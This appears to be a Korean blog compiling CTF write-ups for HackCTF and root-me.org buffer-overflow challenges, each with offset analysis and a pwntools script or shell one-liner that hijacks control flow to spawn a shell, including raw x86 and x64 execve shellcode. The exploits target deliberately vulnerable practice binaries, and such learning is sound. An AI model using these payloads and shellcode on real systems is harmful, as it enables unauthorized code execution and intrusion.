반응형
반응형
반응형

32bit ELF

 

 

rtl로 푼다.

 

IDA를 이용해 system()의 주소와 "/bin/sh"의 주소를 쉽게 구할 수 있다.

 

 

system()

 

 

"/bin/sh"

"/bin/sh"는 main함수에 있는 "/bin/sh"을 따라가면 된다.

 

 

 

 

main 함수

5번에서 bof가 일어난다.

 

buf의 위치는 bp-8C이다.

0x8C = 140

 

payload = dummy[140] +dummy sfp[4] + system() + dummy[4] + binsh

 

ex.py

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3010)
 
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("> ")
 
binsh = 0x08048EB1
system = 0x080485B0
 
payload = "A"*144
payload += p32(system)
payload += "A"*4
payload += p32(binsh)
 
p.sendline(payload)
 
p.interactive()
 
cs

 

nc 접속 > 5 입력 > payload 입력 > 쉘 획득!

반응형
반응형

32bit ELF File이다.

 

main함수로 ㄱㄱ

 

 

데이터를 입력받고, 입력받은 곳의 주소를 출력해준다. 그리고 y를 보내주면 루프를 반복시킬 수 있다.

 

더미 데이터를 보내서 주소값을 얻어내고, 쉘코드 + 더미 + 얻은 주소값(ret)를 보내주면 쉘을 딸 수 있다.

 

s와 ret사이 거리는 0x88 + 0x4 = 136+4 = 140이다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3006)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" #25
p.recvuntil(": ")
p.sendline("1")
buf = int(p.recv(10), 16)
print hex(buf)
p.sendline("y")
 
payload = shellcode
payload += "A" * (140-25)
payload += p32(buf)
 
p.sendline(payload)
 
p.interactive()
 
cs

1을 보내주어서 버퍼 주소값을 구한다.

y 입력으로 루프를 한 번더 진행시킨다.

쉘코드를 넣고 리턴주소를 덮어준다.

 

interactive()모드에서 n을 입력해주어 루프를 벗어난다.

쉘을 딴다.

 

반응형
반응형

64bit ELF FILE이다.

 

main함수를 보자.

 

buffer의 주소를 출력해 준다.

 

buffer에 64bit용 shellcode을 올려주고 리턴주소를 buffer의 주소로 덮어주면 된다.

 

0x6D30 = 27952(10)

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3005)
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #x64
p.recvuntil(": ")
buf = int(p.recv(14), 16)
print hex(buf)
 
payload = shellcode
payload += "A" * (27960-23)
payload += p64(buf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

64bit elf다.

 

바로 main함수를 보자

 

 

입력제한 없이 입력을 받는다. ret주소를 callMeMaybe()함수의 주소로 덮으면 된다.

 

 

함수 주소 : 0x400641

 

110h = 272, 272+8(sfp) =280

 

ex.py

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3004)
 
shellf = 0x400606
sleep(1)
 
payload = "A" * 280
payload += p64(shellf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32 bit elf 파일이 주어진다.

 

IDA로 까보자.

헥스레이로 봤을 때 나만 그런건지 더럽게 나오길레 그냥 어셈코드를 봤다.

 

 

 

1. ebp+var_C 에 sup()함수의 주소를 저장한다.

2. ebp+s에 0x85만큼 입력을 받는다.

3. call [ebp+var_C]

 

여기서 ebp+var_C = ebp - 0x0c이고

ebp+s = ebp - 0x8c 이다. 둘 사이간의 거리는 0x80이다.

 

정리하면,

 

낮은주소  ebp-0x8c   <---- 0x80 ----> ebp-0x8c 높은주소

             -------------------------------0x85------>

 

바이너리에서 shell함수를 제공해준다. call을 하는 ebp-0x8c의 값을 shell함수의 주소로 덮어주면 된다,

 

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3001)
 
shellf = 0x0804849b
sleep(1)
 
payload = "A" * 128
payload += p32(shellf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

Basic_BOF #1

100

Basic BOF

nc ctf.j0n9hyun.xyz 3000

 

 

32bit ELF 파일이다.

 

IDA로 까보자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+4h] [bp-34h]@1
  int v5; // [sp+2Ch] [bp-Ch]@1
 
  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n"&s);
  printf("[check] %p\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}
cs

 

v5을 0xDEADBEEF으로 덮으면 된다.

 

메모리 구조

s [bp-34h]

v5 [bp-Ch]

34h-Ch=28h=40d

 

s에 입력을 받고, s와 v5 사이의 간격은 40바이트다. 45바이트를 입력받으니 충분히 v5을 덮을 수 있다.

 

페이로드 : "A"*40+"\xef\xbe\xad\xde"

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3000)
 
payload = "A"*40+"\xef\xbe\xad\xde"
 
p.sendline(payload)
 
p.interactive()
 
cs

 

FLAG : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}

 

반응형
반응형

root-me.org [APP - SYSTEM] 

ELF x86 - Format string bug basic 3 풀이



문제 소스 :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
 
gcc -m32 -o ch16 ch16.c
 
*/
 
 
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
 
void shell(void);
 
int main()
{
 
  char buffer[64];
  int check;
  int i = 0;
  int count = 0;
 
  printf("Enter your name: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 64)
        printf("Oh no...Sorry !\n");
      if(check == 0xbffffabc)
        shell();
      else
        {
            read(fileno(stdin),&i,1);
            switch(i)
            {
                case '\n':
                  printf("\a");
                  break;
                case 0x08:
                  count--;
                  printf("\b");
                  break;
                case 0x04:
                  printf("\t");
                  count++;
                  break;
                case 0x90:
                  printf("\a");
                  count++;
                  break;
                default:
                  buffer[count] = i;
                  count++;
                  break;
            }
        }
    }
}
 
void shell(void)
{
  system("/bin/dash");
}
cs




40행의 count--;을 이용해서 -4까지 땡긴 후 0xbffffabc를 넣어주면 된다.


 check[0]  check[1]   check[2]  check[3] 

buffer[-4] buffer[-3] buffer[-2] buffer[-1] buffer[0] buffer[1] ....



exploit

(python -c 'print "\x08"*4+"\xbc\xfa\xff\xbf"'; cat) | ./ch16

반응형
반응형

root-me.org [APP - SYSTEM] ELF x64 - Stack buffer overflow - basic 풀이



문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    char *argv[] = { "/bin/bash""-p"NULL };
    execve(argv[0], argv, NULL);
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer);
 
    printf("Hello %s\n", buffer);
 
    return 0;
}
cs


buffer[256]에 크기제한없이 scanf()을 통해 입력받으므로 bof가 발생한다.



이제 gdb를 이용해 리턴주소를 덮을 callMeMaybe()함수의 주소와, buffer[256]의 위치를 알아내야 한다.



(gdb) disas callMeMaybe

Dump of assembler code for function callMeMaybe:

   0x00000000004005e7 <+0>: push   rbp

   0x00000000004005e8 <+1>: mov    rbp,rsp

   0x00000000004005eb <+4>: sub    rsp,0x20



64비트에서 리턴주소는 6bit만 사용하므로 덮어야 하는 값은 0x0000004005e7이다.



(gdb) disas main
Dump of assembler code for function main:
...
   0x000000000040065b <+51>: lea    rax,[rbp-0x110]
   0x0000000000400662 <+58>: mov    rdi,rax
   0x0000000000400665 <+61>: call   0x4004c0 <strlen@plt>   
... 
End of assembler dump.

buffer[256]은 rbp-0x110에 있다. 0x110은 272바이트로, dummy가 272-256=16 바이트만큼 존재함을 알 수 있다.


buffer[256]+dummy[16]+SFP[8]를 덮고 위에서 찾은 함수주소를 더 덮어주면 될 것 같다.


exploit
(python -c 'print "A"*280+"\xe7\x05\x40\x00\x00\x00"'; cat) | ./ch35



반응형
반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 2 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void shell() {
    system("/bin/dash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}
 
cs



buf의 크기는 128바이트인데, fgets함수로 133만큼 입력을 받으므로 bof가 발생한다.

void (*func)()의 값을 shell() 함수의 주소로 덮어주면 된다.


shell() 함수의 주소를 gdb를 이용해 구할 수 있다.


app-systeme-ch15@challenge02:~$ gdb -q ch15

Reading symbols from ch15...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel 

(gdb) disas shell

Dump of assembler code for function shell:

   0x08048464 <+0>: push   ebp

   0x08048465 <+1>: mov    ebp,esp

   0x08048467 <+3>: sub    esp,0x18

   0x0804846a <+6>: mov    DWORD PTR [esp],0x80485a0

   0x08048471 <+13>: call   0x8048380 <system@plt>

   0x08048476 <+18>: leave  

   0x08048477 <+19>: ret    

End of assembler dump.


shell() : 0x08048464



exploit!


(python -c 'print "A"*128+"\x64\x84\x04\x08"'; cat) | ./ch14


반응형
반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 1 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
 
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201&& (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}
cs


buf의 크기는 40바이트인데, fgets 함수로 45바이트 만큼 buf에 입력을 받으므로 bof가 발생한다.


스택구조는 아래와 같으므로 40바이트만큼 아무 값으로 채워주고, 다음 4바이트를 0xdeadbeef로 채워주면 check의 값을 조작할 수 있다.


낮은주소


char buf[40] <- "A"*40

int check <- "\xef\xbe\xad\xde"

int var


높은주소


exploit


(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./ch13


반응형

+ Recent posts